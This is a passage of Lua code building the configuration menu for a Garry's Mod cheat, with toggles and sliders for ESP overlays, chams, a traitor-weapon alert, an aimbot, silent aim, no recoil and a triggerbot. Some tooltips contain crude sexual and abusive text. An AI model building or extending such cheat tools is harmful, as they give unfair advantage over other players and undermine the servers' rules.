  638. PropA:SetDecimals( 0 )
  639. PropA.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  640. PropA.OnValueChanged = function( panel, value )
  641. MS.Settings.Visuals.PropA = value
  642. MS.UpdatePropCol = true
  643. end
  644. PropA:SetSize( 120, 14 )
  645.  
  646. local RainbowMulSlider = vgui.Create( "DNumSlider" )
  647. RainbowMulSlider:SetMinMax( 1, 50 )
  648. RainbowMulSlider:SetValue( MS.Settings.Visuals.rainbowmult )
  649. RainbowMulSlider:SetText( "Rainbow: Phase Speed" )
  650. RainbowMulSlider:SetDecimals( 0 )
  651. RainbowMulSlider.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  652. RainbowMulSlider.OnValueChanged = function( panel, value )
  653. MS.Settings.Visuals.rainbowmult = value
  654. if( !MS.Settings.Visuals.rainbowmult ) then
  655. if( !MS.Settings.Visuals.teamcolours ) then
  656. MS.UpdateCol = true
  657. end
  658. MS.UpdatePropCol = true
  659. end
  660. end
  661. RainbowMulSlider:SetSize( 120, 14 )
  662.  
  663. local ThirdPersonDist = vgui.Create( "DNumSlider" )
  664. ThirdPersonDist:SetMinMax( 0, 2000 )
  665. ThirdPersonDist:SetValue( MS.Settings.Visuals.ThirdPersonDist )
  666. ThirdPersonDist:SetText( "Third Person Distance" )
  667. ThirdPersonDist:SetDecimals( 0 )
  668. ThirdPersonDist.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  669. ThirdPersonDist.OnValueChanged = function( panel, value )
  670. MS.Settings.Visuals.ThirdPersonDist = value
  671. if( MS.Settings.Visuals.ThirdPersonDist <30 ) then
  672. MS.Settings.Visuals.thirdperson = false
  673. return
  674. end
  675. MS.Settings.Visuals.thirdperson = true
  676. end
  677. ThirdPersonDist:SetSize( 120, 14 )
  678.  
  679. local CrosshairSpeed = vgui.Create( "DNumSlider" )
  680. CrosshairSpeed:SetMinMax( 1, 5 )
  681. CrosshairSpeed:SetValue( MS.Settings.Visuals.crosshairspeed )
  682. CrosshairSpeed:SetText( "Crosshair Speed" )
  683. CrosshairSpeed:SetDecimals( 1 )
  684. CrosshairSpeed.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  685. CrosshairSpeed.OnValueChanged = function( panel, value )
  686. MS.Settings.Visuals.crosshairspeed = value
  687. end
  688. CrosshairSpeed:SetSize( 120, 14 )
  689.  
  690. SheetLeft:AddItem( CheckBoxAddWire )
  691. SheetMid:AddItem( CheckBoxCheckTidesGate )
  692. SheetRight:AddItem( CheckBoxCrosshair )
  693.  
  694. SheetLeft:AddItem( CheckBoxModelNames )
  695. SheetMid:AddItem( CheckBoxNoSky )
  696. SheetRight:AddItem( CheckBoxPropChams )
  697.  
  698. SheetLeft:AddItem( CheckBoxPropLeading )
  699. SheetMid:AddItem( CheckBoxRainbow )
  700. SheetRight:AddItem( CheckBoxSaveFPS )
  701.  
  702. SheetLeft:AddItem( CheckBoxNoGunz )
  703. SheetMid:AddItem( CheckBoxTopVelocity )
  704. SheetRight:AddItem( CheckBoxVelocity )
  705.  
  706. SheetLong:AddItem( PropR )
  707. SheetLong:AddItem( PropG )
  708. SheetLong:AddItem( PropB )
  709. SheetLong:AddItem( PropA )
  710. SheetLong:AddItem( RainbowMulSlider )
  711. SheetLong:AddItem( ThirdPersonDist )
  712. SheetLong:AddItem( CrosshairSpeed )
  713.  
  714. return VisualPanel
  715. end
  716.  
  717. local function GeneratePlayerVisualsSheet( w, h )
  718. PlayerVisPanel = vgui.Create( "DPanel" )
  719. PlayerVisPanel:SetPos( 4, 4 )
  720. PlayerVisPanel:SetSize( w - 2, h - 2 )
  721. PlayerVisPanel.Paint = function()
  722. draw.RoundedBox( 3, 0, 0, PlayerVisPanel:GetWide(), PlayerVisPanel:GetTall(), Color( 50, 50, 50, 255 ) )
  723. end
  724.  
  725. local SheetLong = vgui.Create( "DPanelList", PlayerVisPanel )
  726. SheetLong:SetPos( 2, 150 )
  727. SheetLong:SetSize( 305, h/3 )
  728. SheetLong:SetSpacing( 3 )
  729. SheetLong:SetPadding( 4 )
  730. SheetLong:EnableVerticalScrollbar( true )
  731.  
  732. local SheetLeft = vgui.Create( "DPanelList", PlayerVisPanel )
  733. SheetLeft:SetPos( 2, 2 )
  734. SheetLeft:SetSize( 85, h/1.8 )
  735. SheetLeft:SetSpacing( 6 )
  736. SheetLeft:SetPadding( 4 )
  737. SheetLeft:EnableVerticalScrollbar( true )
  738.  
  739. local SheetMid = vgui.Create( "DPanelList", PlayerVisPanel )
  740. SheetMid:SetPos( 85, 2 )
  741. SheetMid:SetSize( 112, h/1.8 )
  742. SheetMid:SetSpacing( 6 )
  743. SheetMid:SetPadding( 4 )
  744. SheetMid:EnableVerticalScrollbar( true )
  745.  
  746. local SheetRight = vgui.Create( "DPanelList", PlayerVisPanel )
  747. SheetRight:SetPos( 190, 2 )
  748. SheetRight:SetSize( 115, h/1.8 )
  749. SheetRight:SetSpacing( 6 )
  750. SheetRight:SetPadding( 4 )
  751. SheetRight:EnableVerticalScrollbar( true )
  752.  
  753. local CustomR = vgui.Create( "DNumSlider" )
  754. CustomR:SetMinMax( 0, 255 )
  755. CustomR:SetValue( MS.Settings.Visuals.CustomR )
  756. CustomR:SetText( "Player Red" )
  757. CustomR:SetDecimals( 0 )
  758. CustomR.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  759. CustomR.OnValueChanged = function( panel, value )
  760. MS.Settings.Visuals.CustomR = value
  761. MS.UpdateCol = true
  762. end
  763. CustomR:SetSize( 120, 15 )
  764.  
  765. local CustomG = vgui.Create( "DNumSlider" )
  766. CustomG:SetMinMax( 0, 255 )
  767. CustomG:SetValue( MS.Settings.Visuals.CustomG )
  768. CustomG:SetText( "Player Green" )
  769. CustomG:SetDecimals( 0 )
  770. CustomG.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  771. CustomG.OnValueChanged = function( panel, value )
  772. MS.Settings.Visuals.CustomG = value
  773. MS.UpdateCol = true
  774. end
  775. CustomG:SetSize( 120, 15 )
  776.  
  777. local CustomB = vgui.Create( "DNumSlider" )
  778. CustomB:SetMinMax( 0, 255 )
  779. CustomB:SetValue( MS.Settings.Visuals.CustomB )
  780. CustomB:SetText( "Player Blue" )
  781. CustomB:SetDecimals( 0 )
  782. CustomB.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  783. CustomB.OnValueChanged = function( panel, value )
  784. MS.Settings.Visuals.CustomB = value
  785. MS.UpdateCol = true
  786. end
  787. CustomB:SetSize( 120, 15 )
  788.  
  789. local HaloSelection = vgui.Create( "DComboBox" )
  790. HaloSelection:SetValue( "Halo/Ms_OverridePhysgun Colour Selection" )
  791. HaloSelection:AddChoice( "Halo/Ms_OverridePhysgun Colour: Team" )
  792. HaloSelection:AddChoice( "Halo/Ms_OverridePhysgun Colour: Health" )
  793. HaloSelection:AddChoice( "Halo/Ms_OverridePhysgun Colour: Custom" )
  794. HaloSelection:AddChoice( "Halo/Ms_OverridePhysgun Colour: RAINBOW" )
  795. HaloSelection.OnSelect = function( panel, index )
  796. MS.Settings.Visuals.haloselection = index
  797. end
  798. if( MS.Settings.Visuals.haloselection )then
  799. HaloSelection:ChooseOptionID( MS.Settings.Visuals.haloselection )
  800. end
  801. HaloSelection:SetSize( 120, 20 )
  802.  
  803. local CheckBoxBoxes = vgui.Create( "DCheckBoxLabel" )
  804. CheckBoxBoxes:SetText( "Boxes" )
  805. CheckBoxBoxes:SetToolTip( "Draws bounding boxes around players" )
  806. CheckBoxBoxes:SetValue( MS.Settings.Visuals.boxes )
  807. CheckBoxBoxes.OnChange = function( _, toggle )
  808. MS.Settings.Visuals.boxes = toggle
  809. end
  810. CheckBoxBoxes:SizeToContents()
  811.  
  812. local CheckBoxESPDistance = vgui.Create( "DCheckBoxLabel" )
  813. CheckBoxESPDistance:SetText( "ESP Dist" )
  814. CheckBoxESPDistance:SetToolTip( "Adds distance from player to ESP" )
  815. CheckBoxESPDistance:SetValue( MS.Settings.Visuals.Text.distance )
  816. CheckBoxESPDistance.OnChange = function( _, toggle )
  817. MS.Settings.Visuals.Text.distance = toggle
  818. end
  819. CheckBoxESPDistance:SizeToContents()
  820.  
  821. local CheckBoxESPHealth = vgui.Create( "DCheckBoxLabel" )
  822. CheckBoxESPHealth:SetText( "ESP HP" )
  823. CheckBoxESPHealth:SetToolTip( "Adds player health to ESP" )
  824. CheckBoxESPHealth:SetValue( MS.Settings.Visuals.Text.health )
  825. CheckBoxESPHealth.OnChange = function( _, toggle )
  826. MS.Settings.Visuals.Text.health = toggle
  827. end
  828. CheckBoxESPHealth:SizeToContents()
  829.  
  830. local CheckBoxESPMingeNameTags = vgui.Create( "DCheckBoxLabel" )
  831. CheckBoxESPMingeNameTags:SetText( "ESP Minges" )
  832. CheckBoxESPMingeNameTags:SetToolTip( "Adds minge nametags to ESP" )
  833. CheckBoxESPMingeNameTags:SetValue( MS.Settings.Visuals.Text.mingenametags )
  834. CheckBoxESPMingeNameTags.OnChange = function( _, toggle )
  835. MS.Settings.Visuals.Text.mingenametags = toggle
  836. end
  837. CheckBoxESPMingeNameTags:SizeToContents()
  838.  
  839. local CheckBoxESPNames = vgui.Create( "DCheckBoxLabel" )
  840. CheckBoxESPNames:SetText( "ESP Name" )
  841. CheckBoxESPNames:SetToolTip( "Adds player name to ESP" )
  842. CheckBoxESPNames:SetValue( MS.Settings.Visuals.Text.names )
  843. CheckBoxESPNames.OnChange = function( _, toggle )
  844. MS.Settings.Visuals.Text.names = toggle
  845. end
  846. CheckBoxESPNames:SizeToContents()
  847.  
  848. local CheckBoxESPEnabled = vgui.Create( "DCheckBoxLabel" )
  849. CheckBoxESPEnabled:SetText( "ESP On" )
  850. CheckBoxESPEnabled:SetToolTip( "HUR DURDURFFFHURRFF I CAN'T STOP SUCKING DICKS DURFF" )
  851. CheckBoxESPEnabled:SetValue( MS.Settings.Visuals.Text.on )
  852. CheckBoxESPEnabled.OnChange = function( _, toggle )
  853. MS.Settings.Visuals.Text.on = toggle
  854. end
  855. CheckBoxESPEnabled:SizeToContents()
  856.  
  857. local CheckBoxESPRank = vgui.Create( "DCheckBoxLabel" )
  858. CheckBoxESPRank:SetText( "ESP Rank" )
  859. CheckBoxESPRank:SetToolTip( "Adds player rank to ESP" )
  860. CheckBoxESPRank:SetValue( MS.Settings.Visuals.Text.rank )
  861. CheckBoxESPRank.OnChange = function( _, toggle )
  862. MS.Settings.Visuals.Text.rank = toggle
  863. end
  864. CheckBoxESPRank:SizeToContents()
  865.  
  866. local CheckBoxESPVel = vgui.Create( "DCheckBoxLabel" )
  867. CheckBoxESPVel:SetText( "ESP Speed" )
  868. CheckBoxESPVel:SetToolTip( "Adds player's velocity to ESP" )
  869. CheckBoxESPVel:SetValue( MS.Settings.Visuals.Text.espvelocity )
  870. CheckBoxESPVel.OnChange = function( _, toggle )
  871. MS.Settings.Visuals.Text.espvelocity = toggle
  872. end
  873. CheckBoxESPVel:SizeToContents()
  874.  
  875. local CheckBoxESPWeapon = vgui.Create( "DCheckBoxLabel" )
  876. CheckBoxESPWeapon:SetText( "ESP Weapon" )
  877. CheckBoxESPWeapon:SetToolTip( "Adds player weapon to ESP" )
  878. CheckBoxESPWeapon:SetValue( MS.Settings.Visuals.Text.weapon )
  879. CheckBoxESPWeapon.OnChange = function( _, toggle )
  880. MS.Settings.Visuals.Text.weapon = toggle
  881. end
  882. CheckBoxESPWeapon:SizeToContents()
  883.  
  884. local CheckBoxEyeTrace = vgui.Create( "DCheckBoxLabel" )
  885. CheckBoxEyeTrace:SetText( "Eye Trace" )
  886. CheckBoxEyeTrace:SetToolTip( "Draw a beam showing the player's aim" )
  887. CheckBoxEyeTrace:SetValue( MS.Settings.Visuals.eyetrace )
  888. CheckBoxEyeTrace.OnChange = function( _, toggle )
  889. MS.Settings.Visuals.eyetrace = toggle
  890. end
  891.  
  892. local CheckBoxHeadSmashBall = vgui.Create( "DCheckBoxLabel" )
  893. CheckBoxHeadSmashBall:SetText( "Headsmash Ball" )
  894. CheckBoxHeadSmashBall:SetTooltip( "ENABLES THE MAGICAL HEADSMASH BALL" )
  895. CheckBoxHeadSmashBall:SetValue( MS.Settings.Visuals.headsmashball )
  896. CheckBoxHeadSmashBall.OnChange = function( _, toggle )
  897. MS.Settings.Visuals.headsmashball = toggle
  898. end
  899. CheckBoxHeadSmashBall:SizeToContents()
  900.  
  901. local CheckBoxHeadSmash = vgui.Create( "DCheckBoxLabel" )
  902. CheckBoxHeadSmash:SetText( "Headsmash Beam" )
  903. CheckBoxHeadSmash:SetTooltip( "ENABLES THE MAGICAL HEADSMASH BEAM" )
  904. CheckBoxHeadSmash:SetValue( MS.Settings.Visuals.headsmash )
  905. CheckBoxHeadSmash.OnChange = function( _, toggle )
  906. MS.Settings.Visuals.headsmash = toggle
  907. end
  908. CheckBoxHeadSmash:SizeToContents()
  909.  
  910. local CheckBoxPlayerChams = vgui.Create( "DCheckBoxLabel" )
  911. CheckBoxPlayerChams:SetText( "Chams" )
  912. CheckBoxPlayerChams:SetToolTip( "Enables player chams" )
  913. CheckBoxPlayerChams:SetValue( MS.Settings.Visuals.playerchams )
  914. CheckBoxPlayerChams.OnChange = function( _, toggle )
  915. MS.Settings.Visuals.playerchams = toggle
  916. end
  917. CheckBoxPlayerChams:SizeToContents()
  918.  
  919. local CheckBoxHalos = vgui.Create( "DCheckBoxLabel" )
  920. CheckBoxHalos:SetText( "Halos" )
  921. CheckBoxHalos:SetToolTip( "Makes people glow and shit" )
  922. CheckBoxHalos:SetValue( MS.Settings.Visuals.halos )
  923. CheckBoxHalos.OnChange = function( _, toggle )
  924. MS.Settings.Visuals.halos = toggle
  925. end
  926. CheckBoxHalos:SizeToContents()
  927.  
  928. local CheckBoxPlayerLeading = vgui.Create( "DCheckBoxLabel" )
  929. CheckBoxPlayerLeading:SetText( "Prediction" )
  930. CheckBoxPlayerLeading:SetToolTip( "Player trajectory prediction, pretty shitty" )
  931. CheckBoxPlayerLeading:SetValue( MS.Settings.Visuals.playerleading )
  932. CheckBoxPlayerLeading.OnChange = function( _, toggle )
  933. MS.Settings.Visuals.playerleading = toggle
  934. end
  935. CheckBoxPlayerLeading:SizeToContents()
  936.  
  937. local CheckBoxPlayerLighting = vgui.Create( "DCheckBoxLabel" )
  938. CheckBoxPlayerLighting:SetText( "Shadows" )
  939. CheckBoxPlayerLighting:SetTooltip( "Enable shadows on player chams" )
  940. CheckBoxPlayerLighting:SetValue( MS.Settings.Visuals.playersuppressenginelighting )
  941. CheckBoxPlayerLighting.OnChange = function( _, toggle )
  942. MS.Settings.Visuals.playersuppressenginelighting = toggle
  943. end
  944. CheckBoxPlayerLighting:SizeToContents()
  945.  
  946. local CheckBoxTeamColours = vgui.Create( "DCheckBoxLabel" )
  947. CheckBoxTeamColours:SetText( "Team Colour" )
  948. CheckBoxTeamColours:SetToolTip( "Sets each player's esp info, chams and beams to the colour of their team" )
  949. CheckBoxTeamColours:SetValue( MS.Settings.Visuals.teamcolours )
  950. CheckBoxTeamColours.OnChange = function( _, toggle )
  951. MS.Settings.Visuals.teamcolours = toggle
  952. if( !MS.Settings.Visuals.teamcolours ) then
  953. MS.UpdateCol = true
  954. end
  955. end
  956. CheckBoxTeamColours:SizeToContents()
  957.  
  958. local CheckBoxTraitor = vgui.Create( "DCheckBoxLabel" )
  959. CheckBoxTraitor:SetText( "Traitors" )
  960. CheckBoxTraitor:SetToolTip( "Alerts you if anyone equips a traitor weapon" )
  961. CheckBoxTraitor:SetValue( MS.Settings.Visuals.traitor )
  962. CheckBoxTraitor.OnChange = function( _, toggle )
  963. MS.Settings.Visuals.traitor = toggle
  964. end
  965. CheckBoxTraitor:SizeToContents()
  966.  
  967. local CheckBoxVerticalBeam = vgui.Create( "DCheckBoxLabel" )
  968. CheckBoxVerticalBeam:SetText( "Vert Beam" )
  969. CheckBoxVerticalBeam:SetTooltip( "Enables vertical beam" )
  970. CheckBoxVerticalBeam:SetValue( MS.Settings.Visuals.verticalbeam )
  971. CheckBoxVerticalBeam.OnChange = function( _, toggle )
  972. MS.Settings.Visuals.verticalbeam = toggle
  973. end
  974. CheckBoxVerticalBeam:SizeToContents()
  975.  
  976. local CheckBoxWeaponChams = vgui.Create( "DCheckBoxLabel" )
  977. CheckBoxWeaponChams:SetText( "Weapon Chams" )
  978. CheckBoxWeaponChams:SetTooltip( "Add weapons to player chams" )
  979. CheckBoxWeaponChams:SetValue( MS.Settings.Visuals.weaponchams )
  980. CheckBoxWeaponChams.OnChange = function( _, toggle )
  981. MS.Settings.Visuals.weaponchams = toggle
  982. end
  983. CheckBoxWeaponChams:SizeToContents()
  984.  
  985. SheetLong:AddItem( CustomR )
  986. SheetLong:AddItem( CustomG )
  987. SheetLong:AddItem( CustomB )
  988. SheetLong:AddItem( HaloSelection )
  989.  
  990. SheetLeft:AddItem( CheckBoxESPDistance )
  991. SheetMid:AddItem( CheckBoxESPHealth )
  992. SheetRight:AddItem( CheckBoxESPMingeNameTags )
  993.  
  994. SheetLeft:AddItem( CheckBoxESPNames )
  995. SheetMid:AddItem( CheckBoxESPEnabled )
  996. SheetRight:AddItem( CheckBoxESPRank )
  997.  
  998. SheetLeft:AddItem( CheckBoxESPVel )
  999. SheetMid:AddItem( CheckBoxESPWeapon )
  1000. SheetRight:AddItem( CheckBoxBoxes )
  1001.  
  1002. SheetLeft:AddItem( CheckBoxEyeTrace )
  1003. SheetMid:AddItem( CheckBoxHeadSmashBall )
  1004. SheetRight:AddItem( CheckBoxHeadSmash )
  1005.  
  1006. SheetLeft:AddItem( CheckBoxPlayerChams )
  1007. SheetMid:AddItem( CheckBoxHalos )
  1008. SheetRight:AddItem( CheckBoxPlayerLeading )
  1009.  
  1010. SheetLeft:AddItem( CheckBoxPlayerLighting )
  1011. SheetMid:AddItem( CheckBoxTeamColours )
  1012. SheetRight:AddItem( CheckBoxTraitor )
  1013.  
  1014. SheetLeft:AddItem( CheckBoxVerticalBeam )
  1015. SheetMid:AddItem( CheckBoxWeaponChams )
  1016. return PlayerVisPanel
  1017. end
  1018.  
  1019. local function GenerateAimbotSheet( w, h )
  1020. AimbotPanel = vgui.Create( "DPanel" )
  1021. AimbotPanel:SetPos( 2, 2 )
  1022. AimbotPanel:SetSize( w - 4, h - 4 )
  1023. AimbotPanel.Paint = function()
  1024. draw.RoundedBox( 3, 0, 0, AimbotPanel:GetWide(), AimbotPanel:GetTall(), Color( 50, 50, 50, 255 ) )
  1025. end
  1026.  
  1027. local SheetLong = vgui.Create( "DPanelList", AimbotPanel )
  1028. SheetLong:SetPos( 2, 90 )
  1029. SheetLong:SetSize( 305, h )
  1030. SheetLong:SetSpacing( 3 )
  1031. SheetLong:SetPadding( 4 )
  1032. SheetLong:EnableVerticalScrollbar( true )
  1033.  
  1034. local SheetLeft = vgui.Create( "DPanelList", AimbotPanel )
  1035. SheetLeft:SetPos( 2, 2 )
  1036. SheetLeft:SetSize( 102, h/3 )
  1037. SheetLeft:SetSpacing( 6 )
  1038. SheetLeft:SetPadding( 4 )
  1039. SheetLeft:EnableVerticalScrollbar( true )
  1040.  
  1041. local SheetMid = vgui.Create( "DPanelList", AimbotPanel )
  1042. SheetMid:SetPos( 100, 2 )
  1043. SheetMid:SetSize( 120, h/3 )
  1044. SheetMid:SetSpacing( 6 )
  1045. SheetMid:SetPadding( 4 )
  1046. SheetMid:EnableVerticalScrollbar( true )
  1047.  
  1048. local SheetRight = vgui.Create( "DPanelList", AimbotPanel )
  1049. SheetRight:SetPos( 190, 2 )
  1050. SheetRight:SetSize( 115, h/3 )
  1051. SheetRight:SetSpacing( 6 )
  1052. SheetRight:SetPadding( 4 )
  1053. SheetRight:EnableVerticalScrollbar( true )
  1054.  
  1055. local IgnoreFriends = vgui.Create( "DCheckBoxLabel" )
  1056. IgnoreFriends:SetValue( MS.Settings.Aimbot.ignorefriends )
  1057. IgnoreFriends:SetText( "Ignore Friends" )
  1058. IgnoreFriends:SetTooltip( "Aimbot ignores steam friends" )
  1059. IgnoreFriends.OnChange = function( _, value )
  1060. MS.Settings.Aimbot.ignorefriends = value
  1061. end
  1062.  
  1063. local IgnoreTeammates = vgui.Create( "DCheckBoxLabel" )
  1064. IgnoreTeammates:SetValue( MS.Settings.Aimbot.ignoreteammates )
  1065. IgnoreTeammates:SetText( "Ignore Team" )
  1066. IgnoreTeammates:SetTooltip( "DICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKS" )
  1067. IgnoreTeammates.OnChange = function( _, value )
  1068. MS.Settings.Aimbot.ignoreteammates = value
  1069. end
  1070.  
  1071. local ShittySilentAim = vgui.Create( "DCheckBoxLabel" )
  1072. ShittySilentAim:SetValue( MS.Settings.Aimbot.silent )
  1073. ShittySilentAim:SetText( "Silent" )
  1074. ShittySilentAim:SetTooltip( "Aims back to where you were previously looking after aimbotting, pretty shitty" )
  1075. ShittySilentAim.OnChange = function( _, value )
  1076. MS.Settings.Aimbot.silent = value
  1077. end
  1078.  
  1079. local AimSmooth = vgui.Create( "DCheckBoxLabel" )
  1080. AimSmooth:SetValue( MS.Settings.Aimbot.aimsmoothon )
  1081. AimSmooth:SetText( "Smoothing" )
  1082. AimSmooth:SetToolTip( "Gradually moves to target instead of snapping" )
  1083. AimSmooth.OnChange = function( _, value )
  1084. MS.Settings.Aimbot.aimsmoothon = value
  1085. end
  1086.  
  1087. local CheckBoxTracing = vgui.Create( "DCheckBoxLabel" )
  1088. CheckBoxTracing:SetText( "Full Body" )
  1089. CheckBoxTracing:SetValue( MS.Settings.Aimbot.multitrace )
  1090. CheckBoxTracing:SetToolTip( "Only targets people who are entirely out in the open" )
  1091. CheckBoxTracing.OnChange = function( _, toggle )
  1092. MS.Settings.Aimbot.multitrace = toggle
  1093. end
  1094. CheckBoxTracing:SizeToContents()
  1095.  
  1096. local TargetNPCs = vgui.Create( "DCheckBoxLabel" )
  1097. TargetNPCs:SetValue( MS.Settings.Aimbot.targetnpcs )
  1098. TargetNPCs:SetText( "NPCs" )
  1099. TargetNPCs:SetTooltip( "Take a wild guess you cunt" )
  1100. TargetNPCs.OnChange = function( _, value )
  1101. MS.Settings.Aimbot.targetnpcs = value
  1102. end
  1103.  
  1104. local CheckBoxNoRecoil = vgui.Create( "DCheckBoxLabel" )
  1105. CheckBoxNoRecoil:SetText( "No Recoil" )
  1106. CheckBoxNoRecoil:SetToolTip( "Requires reconnect, won't work on a few weapon packs" )
  1107. CheckBoxNoRecoil:SetValue( MS.Settings.Aimbot.norecoil )
  1108. CheckBoxNoRecoil.OnChange = function( _, toggle )
  1109. MS.Settings.Aimbot.norecoil = toggle
  1110. end
  1111. CheckBoxNoRecoil:SizeToContents()
  1112.  
  1113. local CheckBoxNoShake = vgui.Create( "DCheckBoxLabel" )
  1114. CheckBoxNoShake:SetText( "No Shake" )
  1115. CheckBoxNoShake:SetValue( MS.Settings.Aimbot.noshake )
  1116. CheckBoxNoShake:SetToolTip( "Different thing to no recoil, will fuck things like falcop_spectate" )
  1117. CheckBoxNoShake.OnChange = function( _, toggle )
  1118. MS.Settings.Aimbot.noshake = toggle
  1119. if( MS.Settings.Aimbot.noshake ) then
  1120. HKA( "CalcView", "NoShake", NoShake )
  1121. return
  1122. end
  1123. HKR( "CalcView", "NoShake" )
  1124. end
  1125. CheckBoxNoShake:SizeToContents()
  1126.  
  1127. local CheckBoxRapidFire = vgui.Create( "DCheckBoxLabel" )
  1128. CheckBoxRapidFire:SetText( "Rapid Fire" )
  1129. CheckBoxRapidFire:SetValue( MS.Settings.TriggerBot.rapidfire )
  1130. CheckBoxRapidFire:SetToolTip( "Spams +attack when you left click" )
  1131. CheckBoxRapidFire.OnChange = function( _, toggle )
  1132. MS.Settings.TriggerBot.rapidfire = toggle
  1133. end
  1134. CheckBoxRapidFire:SizeToContents()
  1135.  
  1136. local CheckBoxTrigger = vgui.Create( "DCheckBoxLabel" )
  1137. CheckBoxTrigger:SetText( "TriggerBot" )
  1138. CheckBoxTrigger:SetToolTip( "Automatically fires when you aim at someone" )
  1139. CheckBoxTrigger:SetValue( MS.Settings.TriggerBot.enabled )
  1140. CheckBoxTrigger.OnChange = function( _, toggle )
  1141. MS.Settings.TriggerBot.enabled = toggle
  1142. end
  1143. CheckBoxTrigger:SizeToContents()
  1144.  
  1145. local CheckBoxOnAim = vgui.Create( "DCheckBoxLabel" )
  1146. CheckBoxOnAim:SetText( "Aimbot Only" )
  1147. CheckBoxOnAim:SetValue( MS.Settings.TriggerBot.onlyaim )
  1148. CheckBoxOnAim:SetToolTip( "Triggerbot will only shoot people while aimbotting" )
  1149. CheckBoxOnAim.OnChange = function( _, toggle )
  1150. MS.Settings.TriggerBot.onlyaim = toggle
  1151. end
  1152. CheckBoxOnAim:SizeToContents()
  1153.  
  1154. local SliderSnap = vgui.Create( "DNumSlider" )
  1155. SliderSnap:SetMinMax( 0, 2 )
  1156. SliderSnap:SetValue( MS.Settings.Aimbot.snapwait )
  1157. SliderSnap:SetText( "Delay" )
  1158. SliderSnap:SetDecimals( 1 )
  1159. SliderSnap.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  1160. SliderSnap:SetToolTip( "Delay between shooting people" )
  1161. SliderSnap.OnValueChanged = function( panel, value )
  1162. MS.Settings.Aimbot.snapwait = value
  1163. end
  1164. SliderSnap:SetSize( 120, 25 )
  1165.  
  1166. local SliderFOV = vgui.Create( "DNumSlider" )
  1167. SliderFOV:SetMinMax( 1, 180 )
  1168. SliderFOV:SetValue( MS.Settings.Aimbot.maxfov )
  1169. SliderFOV:SetText( "FOV" )
  1170. SliderFOV:SetDecimals( 0 )
  1171. SliderFOV.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  1172. SliderFOV:SetToolTip( "Degrees from crosshair in which the aimbot will shoot people" )
  1173. SliderFOV.OnValueChanged = function( panel, value )
  1174. MS.Settings.Aimbot.maxfov = value
  1175. end
  1176. SliderFOV:SetSize( 120, 25 )
  1177.  
  1178. local SliderSmooth = vgui.Create( "DNumSlider" )
  1179. SliderSmooth:SetMinMax( 1, 50 )
  1180. SliderSmooth:SetValue( MS.Settings.Aimbot.aimsmooth )
  1181. SliderSmooth:SetText( "Smoothed Aim Speed" )
  1182. SliderSmooth:SetDecimals( 0 )
  1183. SliderSmooth.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  1184. SliderSmooth:SetToolTip( "How fast smoothed aim shoots people" )
  1185. SliderSmooth.OnValueChanged = function( panel, value )
  1186. MS.Settings.Aimbot.aimsmooth = value
  1187. end
  1188. SliderSmooth:SetSize( 120, 25 )
  1189.  
  1190. local LabelBone = vgui.Create( "DLabel" )
  1191. LabelBone:SetText( "Target Area" )
  1192. LabelBone:SizeToContents()
  1193.  
  1194. local BoneComboBox = vgui.Create( "DComboBox" )
  1195. BoneComboBox:SetValue( MS.Settings.Aimbot.AimFor )
  1196. BoneComboBox.OnSelect = function( _, _, value )
  1197. MS.Settings.Aimbot.AimFor = value
  1198. end
  1199. for k,v in pairs( MS.Settings.Aimbot.Bones ) do
  1200. BoneComboBox:AddChoice( v )
  1201. end
  1202.  
  1203. SheetLeft:AddItem( IgnoreFriends )
  1204. SheetMid:AddItem( IgnoreTeammates )
  1205. SheetRight:AddItem( ShittySilentAim )
  1206.  
  1207. SheetLeft:AddItem( AimSmooth )
  1208. SheetMid:AddItem( CheckBoxTracing )
  1209. SheetRight:AddItem( TargetNPCs )
  1210.  
  1211. SheetLeft:AddItem( CheckBoxNoRecoil )
  1212. SheetMid:AddItem( CheckBoxNoShake )
  1213. SheetRight:AddItem( CheckBoxRapidFire )
  1214.  
  1215. SheetLeft:AddItem( CheckBoxTrigger )
  1216. SheetMid:AddItem( CheckBoxOnAim )
  1217.  
  1218. SheetLong:AddItem( SliderSnap )
  1219. SheetLong:AddItem( SliderFOV )
  1220. SheetLong:AddItem( SliderSmooth )
  1221. SheetLong:AddItem( LabelBone )
  1222. SheetLong:AddItem( BoneComboBox )
  1223. return AimbotPanel
  1224. end
  1225.  
  1226. local function GenerateFriendsSheet( w, h )
  1227. FriendsPanel = vgui.Create( "DPanel" )
  1228. FriendsPanel:SetPos( 2, 2 )
  1229. FriendsPanel:SetSize( w - 4, h - 4 )
  1230. FriendsPanel.Paint = function()
  1231. draw.RoundedBox( 3, 0, 0, FriendsPanel:GetWide(), FriendsPanel:GetTall(), Color( 50, 50, 50, 255 ) )
  1232. end
  1233.  
  1234. local SheetLeft = vgui.Create( "DPanelList", FriendsPanel )
  1235. SheetLeft:SetPos( 2, 2 )
  1236. SheetLeft:SetSize( w, h )
  1237. SheetLeft:SetSpacing( 3 )
  1238. SheetLeft:SetPadding( 4 )
  1239. SheetLeft:EnableVerticalScrollbar( true )
